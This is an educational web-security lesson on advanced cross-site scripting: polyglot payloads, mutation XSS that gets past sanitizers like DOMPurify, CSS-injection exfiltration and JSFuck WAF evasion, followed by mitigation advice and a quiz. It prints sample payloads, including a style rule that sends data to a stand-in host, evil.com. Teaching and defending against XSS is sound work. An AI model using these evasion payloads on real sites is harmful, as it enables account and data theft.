Login
ChallengesLearn
Scoreboard
Teams
Profile

Preferences

Truesapiens

LearnCross Site ScriptingXSS Payload Techniques
Cross Site Scripting·Lesson 6 of 12

XSS Payload Techniques

Polyglots, mXSS, scriptless XSS. The payloads that work across filters, encoders, and sanitizers — and how to recognise them by structure, not by alert().

Intermediate14 min
XSSVectorsPolyglot
Loading lesson…
PreviousXSS DefenseNextBlind XSS

© 2026 Truesapiens.

Terms of ServicePrivacy PolicyCookie Policy

Once you understand the basic <script>alert(1)</script>, the real craft begins. Real-world filters and WAFs do not fall for the obvious payloads. Attackers have developed specialised techniques that mutate, camouflage, or circumvent sanitizers entirely. This lesson catalogues the most important XSS vector classes.

What you'll be able to do
  • Identify polyglot payloads that work in multiple HTML contexts.
  • Explain how mutation XSS (mXSS) fools client-side sanitizers.
  • Demonstrate scriptless XSS via CSS injection and exfiltration.
  • Recognise JSFuck encoding and its use as a WAF evasion technique.
Key terms
Polyglot
A single payload that executes correctly in multiple contexts — e.g. within an HTML attribute and a JavaScript string — by satisfying the syntax of each.
mXSS (Mutation XSS)
A technique where the sanitizer validates the input as one DOM representation, but the browser re-parses it differently after innerHTML assignment, causing mutation that creates a script execution point.
CSS injection
Injecting CSS values or style blocks that exfiltrate data via url() background requests or break out of the style context entirely.
JSFuck
An esoteric encoding style that expresses arbitrary JavaScript using only six characters: [ ] ( ) ! +. Evades signature-based WAF rules.
What is it?

Beyond the script tag

A WAF that blocks <script> has already raised the bar above the simplest attacks. But the XSS attack surface is vast. Event handlers, CSS url() values, SVG namespaces, import stylesheets, and even the browser's HTML re-parsing algorithm all provide alternative execution paths. Polyglot payloads exploit the intersection of multiple contexts — they break out of an HTML attribute, land in a JavaScript string, and execute regardless of which escaping scheme the developer half-applied.

Mutation XSS is particularly insidious because it targets the validator, not the application. Libraries like DOMPurify check input as a parsed DOM tree. If the sanitizer sees a harmless <noscript> or<math> element, it passes the input through. But when the browser inserts that HTML via innerHTML, it re-parses the string and the elements mutate — the nested hidden payload becomes active.

htmlvulnerable
<!-- Polyglot: works in attribute + JS contexts -->
<img src="x" onerror="alert(1)" />

<!-- mXSS: sanitizer sees safe DOM, browser re-parses differently -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- CSS injection: exfiltrate via background-image -->
<style>body{background:url(https://evil.com/steal?data=TOP_SECRET)}</style>

<!-- JSFuck: no alphanumeric characters -->
<script>[][(![]+[])[+[]]]+... = alert(1)</script>
Polyglot injection across contexts
Mini Map
Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.
Try it

Payload generator

Select a vector type below to see its raw HTML and a side-by-side comparison of how the browser interprets it with and without a sanitizer. Toggle the sanitizer to see which vectors it catches and which slip through.

payload-studiostaging
payload-studio · vector explorer
Vector: Polyglot

A payload that fires in HTML, attribute, and JavaScript contexts simultaneously.

Rendered outputraw
View
The polyglot closes the href attribute, injects onmouseover, and breaks out of multiple contexts at once.
htmlvulnerable
<!-- VULNERABLE — raw injection -->
<a href="/profile"onmouseover="alert(1)">View</a>
Real-world relevance

2015 Google Chrome mXSS: patched, then bypassed again

In 2015, security researcher Mario Heiderich disclosed a mutation XSS vulnerability in Google Chrome itself. The browser's HTML parser treated <noscript> content differently during innerHTML serialisation vs. re-parse. A payload like <noscript><p title="</noscript><img src=x onerror=alert(1)"> passed DOMPurify's checks because the sanitizer parsed it as harmless text inside an attribute. When the browser assigned it to innerHTML, the noscript element mutated, breaking the attribute boundary and creating an active <img> tag with an onerror handler.

Google patched the mutation behaviour, but security researchers subsequently found related bypasses using <math> and<svg> namespace elements. The cat-and-mouse game between browser parsers and sanitizers continues today, with each major browser version introducing new mutation surfaces.

Mitigation

Defence against advanced vectors

No single library catches every vector. DOMPurify is the most battle-tested HTML sanitizer, but even it has been bypassed by mXSS techniques. The defence-in-depth approach combines server-side context-aware escaping with a strict CSP that blocks inline scripts and eval, plus a separate sanitisation step for any user-submitted HTML.

For CSS injection specifically, the style-src CSP directive should be as restrictive as possible, and user-supplied CSS values should be validated against a whitelist of allowed properties. JSFuck-style attacks are mitigated by blocking eval via 'unsafe-eval' in CSP.

Further reading
  • mXSS: The Unexpected Threat(Google Research)
  • JSFuck — Write any JS with 6 characters(JSFuck)
  • OWASP XSS Filter Evasion Cheat Sheet(OWASP)
Key takeaways

What to remember

  • Polyglot payloads exploit multiple contexts simultaneously and evade single-pass escaping.
  • mXSS targets the sanitizer DOM, not the application — the browser re-parses HTML differently during innerHTML assignment.
  • CSS injection can exfiltrate data without executing JavaScript via url() background-image requests.
  • JSFuck encoding bypasses WAF signatures by representing JavaScript with only six non-alphanumeric characters.
  • Defence requires context-aware escaping + strict CSP + a robust sanitizer, not any single layer alone.

Knowledge check

0/3 answered · 0 correct
  1. 1.Why does mutation XSS bypass client-side sanitizers like DOMPurify?

  2. 2.How does CSS injection exfiltrate data without executing JavaScript?

  3. 3.What makes JSFuck effective against WAFs?